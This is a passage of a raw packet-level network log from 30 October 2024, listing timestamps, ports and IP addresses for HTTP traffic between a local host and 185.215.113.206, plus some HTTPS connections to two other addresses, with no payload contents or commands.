Oct 30, 2024 11:45:44.177581072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177599907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177603960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177618027 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177619934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177637100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177637100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177651882 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177656889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177674055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177678108 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177691936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177691936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177707911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177719116 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177726984 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177736998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177755117 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177777052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177778006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177793980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177803040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177809000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177825928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177825928 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177841902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177854061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177859068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177875042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177881956 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177891970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177906036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177906990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177927971 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177941084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177943945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177952051 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177963018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177979946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177985907 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178009033 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178035021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178268909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178284883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178299904 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178314924 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178314924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178334951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178338051 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178352118 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178364992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178397894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178411961 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178428888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178443909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178461075 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178473949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178478003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178489923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178494930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178513050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178517103 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178543091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178572893 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178582907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178597927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178613901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178621054 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178631067 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178637028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178648949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178658962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178672075 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178690910 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178728104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178744078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.178764105 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.178777933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291250944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291277885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291296959 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291316032 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291331053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291342020 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291347980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291351080 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291363001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291364908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291383028 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291383982 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291404963 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291415930 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291450024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291462898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291479111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291496992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291502953 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291513920 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291543007 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291552067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291591883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291608095 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291623116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291634083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291645050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291662931 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291717052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291733027 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291749001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291755915 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291764021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291768074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291780949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291795015 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291798115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291809082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291817904 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291821957 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291835070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291843891 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291857004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291884899 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.291954994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291970968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291985989 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.291996002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292006969 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292026997 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292032003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292047024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292083979 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292154074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292170048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292185068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292202950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292218924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292222023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292234898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292251110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292272091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292295933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292463064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292479038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292495012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292509079 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292521000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292521954 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292538881 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292546034 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292555094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292557001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292573929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292581081 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292588949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292594910 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292617083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292623997 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292685986 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292721987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292779922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292798042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292820930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292829990 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292839050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292843103 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292859077 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292860985 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292881012 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292886972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292905092 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292917967 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292926073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292943001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.292967081 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292984962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.292993069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293009996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293024063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293040037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293045044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293057919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293068886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293102980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293248892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293272972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293289900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293307066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293314934 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293330908 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293332100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293348074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293355942 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293365002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293365955 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293381929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293387890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293400049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293406010 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293417931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293421984 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293431044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293436050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293452024 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293472052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293659925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293675900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293699980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293706894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293715954 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293723106 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293735981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293741941 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293751955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293755054 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293776989 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293793917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293920040 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293935061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293952942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.293965101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293977022 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.293998003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.294070959 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.294086933 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.294104099 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.294116974 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.294121027 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.294137001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.294141054 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.294154882 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.294179916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.315480947 CET	443	49982	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.317691088 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.318341017 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.318411112 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.318571091 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.318579912 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.318631887 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.321014881 CET	49982	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.321029902 CET	443	49982	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.321753025 CET	49982	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.321758986 CET	443	49982	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.345726013 CET	443	49983	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.357508898 CET	49983	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.357520103 CET	443	49983	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.358143091 CET	49983	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.358148098 CET	443	49983	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.407118082 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407227039 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407233000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407249928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407265902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407278061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407283068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407300949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407305956 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407325029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407331944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407342911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407357931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407368898 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407393932 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407489061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407577038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407592058 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407598972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407609940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407622099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407625914 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407636881 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407644033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407655954 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407669067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407677889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407687902 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407692909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407710075 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407722950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407728910 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407741070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407757044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407758951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407777071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407784939 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407793045 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407794952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407810926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407819986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407838106 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407849073 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407882929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407900095 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407913923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407927036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407939911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407952070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407958031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407974958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407978058 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.407996893 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.407999992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408014059 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408014059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408030987 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408030987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408040047 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408051014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408066034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408075094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408092022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408093929 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408109903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408126116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408132076 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408142090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408154011 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408164024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408168077 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408176899 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408179998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408196926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408200979 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408209085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408214092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408229113 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408229113 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408246994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408251047 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408274889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408288002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408289909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408305883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408320904 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408332109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408333063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408349991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408358097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408368111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408370972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408390045 CET	49888	80	192.168.2.6	185.215.113.206
